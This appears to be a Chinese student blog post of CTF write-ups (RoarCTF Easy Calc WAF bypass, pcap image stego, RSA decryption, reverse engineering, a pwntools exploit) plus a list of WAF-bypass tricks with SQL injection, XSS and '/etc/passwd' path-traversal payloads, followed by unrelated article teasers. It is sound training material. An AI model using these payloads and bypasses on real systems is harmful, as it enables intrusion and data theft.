寒假2.8

题解

web:[RoarCTF 2019]Easy Calc

打开,是一个计算界面

看一下源代码,提示设置了WAF,并且有一个calc.php文件

访问一下calc.php文件,得到源码,使用get方式传参赋值给num,设置了黑名单,绕过黑名单即可通过eval进行任意php语句

由于前面说了设置了WAF,我们在“?”后输入一个空格进行绕过

原理:当php进行解析时,如果变量名前面有空格,php会自动去掉前面的空格再进行解析,假如waf不允许num变量接收字母,那么使用 num就可以,而php解析时就会自动把空格去掉

也就是说,当我加了一个空格,那么服务器就认为我传入的是空格num而不是num,就不属于黑名单

输入了一个

calc.php? num=system('ls');

 我寻思ls也不在黑名单里啊,但是不行,后面看了其他大佬的wp,原来是有WAF绕过的时候基本不能传入字符,因为大多数字符都会被过滤掉

 使用scandir查看目录中的内容,找到存有flag的文件,由于/被过滤了,尝试使用chr对/的ascii码进行转换绕过,只有这个才不需要引号

? num=scandir("/")
==>? num=var_dump(scandir(chr(47)))

  

盲猜flag在里面

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

misc:buuctf john-in-the-middle

打开附件,是一个.pcap文件

导出http数据流

保存一下

有几张图片,其中logo.png里面好像被打了马赛克,怀疑flag在这张图里

法一:用stegsolve看看,在其中一个通道发现了flag

flag{J0hn_th3_Sn1ff3r} 

法二:用stegsolve打开scanlines.png,在很多通道都可以发现有一条线

将两张图片合成,一样可以得到flag

 crypto:buuctf-RSAROLL

下载附件,给了n,e,c

用工具分解一下n,得到p,q

脚本及其解释:

import gmpy2
e = 19
p = 18443
q = 49891
n = p * q #模数
phi = (p - 1) * (q - 1) #欧拉函数值
d = gmpy2.invert(e, phi)#计算私钥d
c=[704796792,752211152,
274704164,
18414022,
368270835,
483295235,
263072905,
459788476,
483295235,
459788476,
663551792,
475206804,
459788476,
428313374,
475206804,
459788476,
425392137,
704796792,
458265677,
341524652,
483295235,
534149509,
425392137,
428313374,
425392137,
341524652,
458265677,
263072905,
483295235,
828509797,
341524652,
425392137,
475206804,
428313374,
483295235,
475206804,
459788476,
306220148]
m = [pow(i, d, n) for i in c]#使用公式 m = c^d mod n 对每个密文值进行解密
message = ''.join([chr(i) for i in m])#将解密后的整数值转换为对应的ASCII字符并拼接
print(message)

运行脚本即可得到flag

 reverse:[BJDCTF2020]JustRE

附件是一个.exe文件,运行一下试试

查壳,无壳32位

ida32打开,看不出主函数

shift+f12查看,发现了可疑字符串,点进去查看

按x交叉引用查看

找到关键函数

关键是这个

当点击次数为1999的时候,使用sprintf函数输出字符BJD{1999902069a45792d233ac},并将其设置为窗口的标题,把BJD换成flag即可得到flag

pwn:buuctf-ciscn_2019_n_8

用exeinfope查看,32位无壳

ida32打开,查看主函数,大概意思就是会读取写入的字节,放入var[ ]中,当var[13]=17LL的时候就执行system函数

找到了system函数,这里我们要想办法让var[13]=17LL

脚本:

from pwn import *r = remote("node5.buuoj.cn",28096)offset = 14    # var[13]一共有14个元素
payload = p32(17) * offsetr.sendline(payload)
r.interactive()

 运行脚本得到flag

知识点

WAF绕过

理解WAF的检测规则

  • WAF 通常基于正则表达式或规则集来检测恶意输入。

  • 通过分析 WAF 的行为(如拦截的请求、返回的错误信息),可以推测其检测规则。

  • 使用工具(如 WAFW00F)识别 WAF 的类型和版本。

常见绕过技巧

(1)大小写混淆

SELECT * FROM users;  --> sElEcT * FrOm UsErS;

 (2)编码绕过

URL编码:

SELECT * FROM users;  --> %53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%75%73%65%72%73%3B

Unicode编码:

SELECT * FROM users;  --> \u0053\u0045\u004C\u0045\u0043\u0054\u0020\u002A\u0020\u0046\u0052\u004F\u004D\u0020\u0075\u0073\u0065\u0072\u0073\u003B

Base64编码:

SELECT * FROM users;  --> U0VMRUNUICogRlJPTSB1c2Vyczs=

(3)注释符绕过

在payload中插入注释符,干扰WAF的检测

SELECT/*comment*/ * FROM users;

(4)分块传输

将payload分成多个小块发送,绕过WAF的检测

POST /vulnerable-endpoint HTTP/1.1
Transfer-Encoding: chunked4
SELECT
5
* FROM
6
users;
0

(5)参数污染

在请求中重复参数,利用WAF和服务器解析的差异绕过

原理:在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性

GET /vulnerable-endpoint?id=1&id=2&id=SELECT * FROM users;

(6)特殊字符绕过

使用特殊字符(如换行符、制表符)干扰 WAF 的检测

SELECT\t*\nFROM users;

(7)多语言混淆

使用多语言字符集(如宽字符绕过WAF)

SELECT * FROM users WHERE name = 'admin' AND 1=1;
--> SELECT * FROM users WHERE name = 'admin' AND 1=1;

(8)逻辑绕过

利用 WAF 的逻辑漏洞,构造合法的 payload

SELECT * FROM users WHERE id = 1 AND 1=1;
--> SELECT * FROM users WHERE id = 1 AND true;

4种情况示例

(1)SQL注入绕过

SELECT * FROM users WHERE id = 1 AND 1=1;
-->SELECT/*comment*/ * FROM users WHERE id = 1 AND 1=1;

(2)XSS绕过

<script>alert(1);</script>
--><img src=x onerror=alert(1)>

(3)文件包含绕过

?file=../../../../etc/passwd
--> ?file=....//....//....//....//etc/passwd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/15973.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pytest测试专题 - 1.2 如何获得美观的测试报告

<< 返回目录 1 pytest测试专题 - 1.2 如何获得美观的测试报告 1.1 背景 虽然pytest命令的报文很详细&#xff0c;用例在执行调试时还算比较方便阅读和提取失败信息&#xff0c; 但对于大量测试用例运行时&#xff0c;可能会存在以下不足 报文被冲掉测试日志没法归档 …

让office集成deepseek,支持office和WPS办公软件!(体验感受)

导读 AIGC:AIGC是一种新的人工智能技术&#xff0c;它的全称是Artificial Intelligence Generative Content&#xff0c;即人工智能生成内容。 它是一种基于机器学习和自然语言处理的技术&#xff0c;能够自动产生文本、图像、音频等多种类型的内容。这些内容可以是新闻文章、…

QML布局和信号槽

目录 一、定位器&#xff08;Positioners&#xff09; 1.Row&#xff08;行定位器&#xff09; 2.Column&#xff08;列定位器&#xff09; 3.Grid&#xff08;表格定位器&#xff09; 二、Layout布局 1.RowLayout&#xff08;行布局&#xff09; 2.ColumnLayout&#x…

C++ Primer 类型转换

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…

.Net使用EF Core框架如何连接Oracle

目录 一、Nutget包添加 二、 配置文件 三、创建实体类 四、创建数据库上下文类 五、将数据库上下文服务注册到容器 六、测试数据库数据 &#xff08;1&#xff09;编写PeopleController &#xff08;2&#xff09;编写People页面 一、Nutget包添加 一定要安装Oracle.Ma…

30~32.ppt

目录 30.导游小姚-介绍首都北京❗ 题目​ 解析 31.小张-旅游产品推广文章 题目 解析 32.小李-水的知识❗ 题目​ 解析 30.导游小姚-介绍首都北京❗ 题目 解析 新建幻灯片-从大纲-重置-检查设计→主题对话框→浏览主题&#xff1a;考生文件夹&#xff08;注意&#x…

2025 年 2 月 TIOBE 指数

2025 年 2 月 TIOBE 指数 二月头条:快,更快,最快! 现在,世界需要每秒处理越来越多的数字,而硬件的发展速度却不够快,程序的速度变得越来越重要。话虽如此,快速编程语言在 TIOBE 指数中取得进展也就不足为奇了。编程语言 C++ 最近攀升至第 2 位,Go 已稳居前 10 名,Ru…

【Flink源码分析】5. Flink1.19源码分析-异步编程(CompletableFuture)

5 CompletableFuture 实现异步编排&#xff1b;获取异步任务执行的结果。 CompletableFuture提供了几十种方法&#xff0c;辅助我们的异步任务场景。这些方法包括创建异步任务、异步任务回调、多个任务组合处理等方面。 5.1 supplyAsync 方法 supplyAsync 执行 Completable…

LabVIEW在呼吸机测试气体容量计算

在呼吸机测试中&#xff0c;精确测量气体容量变化是评估设备性能的关键步骤。通过监测呼吸机气道内的压力变化&#xff0c;并结合流阻和肺顺应性等参数&#xff0c;可以计算出单位时间内的气体容量变化。本案例基于LabVIEW实现该计算过程&#xff0c;以确保测试数据的准确性和一…

Lombok使用指南

引言 lombok作为减少我们代码量的利器&#xff0c;本文将列举常用的几个注解&#xff0c;来帮助减少代码量 注解及其功能 Getter 和 Setter import lombok.Getter; import lombok.Setter;Getter Setter public class Person {private String name;private int age; } …

JAVA学习第一天

String的构造方法-118 String创建对象的特点——119 String字符串的比较——120 字符串的遍历——122 两个函数&#xff1a;length&#xff08;&#xff09;&#xff0c;charAt&#xff08;&#xff09; StringBuilder——127 String的内容是不可变的 StringBuilder的内容是可变…

sqli-lab靶场学习(六)——Less18-22(User-Agent、Referer、Cookie注入)

前言 前面的关卡&#xff0c;都是直接在输入框或者浏览器的地址栏上做文章即可。但本文这几关&#xff0c;需要用工具拦截请求修改请求头部才行。 Less18&#xff08;User-Agent注入&#xff09; 本关的注入点在User-Agent。我们在用户名和密码框中输入admin/admin后&#xf…

Spring依赖注入方式

写在前面&#xff1a;大家好&#xff01;我是晴空๓。如果博客中有不足或者的错误的地方欢迎在评论区或者私信我指正&#xff0c;感谢大家的不吝赐教。我的唯一博客更新地址是&#xff1a;https://ac-fun.blog.csdn.net/。非常感谢大家的支持。一起加油&#xff0c;冲鸭&#x…

arcgis界址点编号工具开发原理(西北角顺时针)

arcgis界址点编号工具开发原理&#xff08;西北角顺时针&#xff09; 1、工具实现思路。寻找离包络矩形左顶角最近的点作为起点。如下图&#xff1a;距离包络矩形左顶角最近的点&#xff0c;作为J1点没有任何问题。 问题在于并不是所有的地块&#xff0c;都这么中规中矩、合情…

分布式服务框架 如何设计一个更合理的协议

1、概述 前面我们聊了如何设计一款分布式服务框架的问题&#xff0c;并且编码实现了一个简单的分布式服务框架 cheese, 目前 cheese 基本具备分布式服务框架的基本功能。后面我们又引入了缓存机制&#xff0c;以及使用Socket替代了最开始的 RestTemplate。并且还学习了网络相关…

生信云服务器:让生物信息学分析更高效、更简单【附带西柚云优惠码】

随着生物信息学的快速发展&#xff0c;基因组测序、单细胞分析等复杂任务逐渐成为研究者们的日常工作。然而&#xff0c;个人电脑在处理这些任务时往往面临性能瓶颈&#xff0c;如内存不足、运算速度慢等问题&#xff0c;导致分析任务频繁失败或崩溃。为了解决这一难题&#xf…

[AUTOSAR通信] - PDUR模块解读

点击订阅专栏不迷路 文章目录 一、 PDUR模块概述二、功能描述2.1 发送路由功能2.2 接收路由功能2.3 网关路由功能2.4 路由控制功能 三、配置項介紹3.1. PduRBswModules3.2. PduRGeneral3.3. PduRRoutingTables3.4. PduRRoutingPath3.5. PduRSrcPdu3.6. PduRDestPdu 四、总结 &g…

分治下的快速排序(典型算法思想)—— OJ例题算法解析思路

目录 一、75. 颜色分类 - 力扣(LeetCode) 运行代码: 一、算法核心思想 二、指针语义与分区逻辑 三、操作流程详解 四、数学正确性证明 五、实例推演(数组[2,0,2,1,1,0]) 六、工程实践优势 七、对比传统实现 八、潜在问题与解决方案 九、性能测试数据 十、扩展…

分层耦合 - IOC详解

推荐使用下面三种, 第一种多用于其他类 声明bean的时候&#xff0c;可以通过value属性指定bean的名字&#xff0c;如果没有指定&#xff0c;默认为类名首字母小写。 使用以上四个注解都可以声明bean&#xff0c;但是在springboot集成web开发中&#xff0c;声明控制器bean只能用…

PDF Shaper:免费多功能 PDF 工具箱,一站式满足您的 PDF 需求!

​PDF Shaper 是一款功能强大且完全免费的 PDF 工具箱&#xff0c;它几乎涵盖了日常 PDF 操作的方方面面&#xff0c;无论是转换、编辑还是处理&#xff0c;都能轻松搞定。以下是这款软件的详细介绍&#xff1a; 功能丰富&#xff0c;一应俱全 PDF 转换功能强大 PDF 转 Word&am…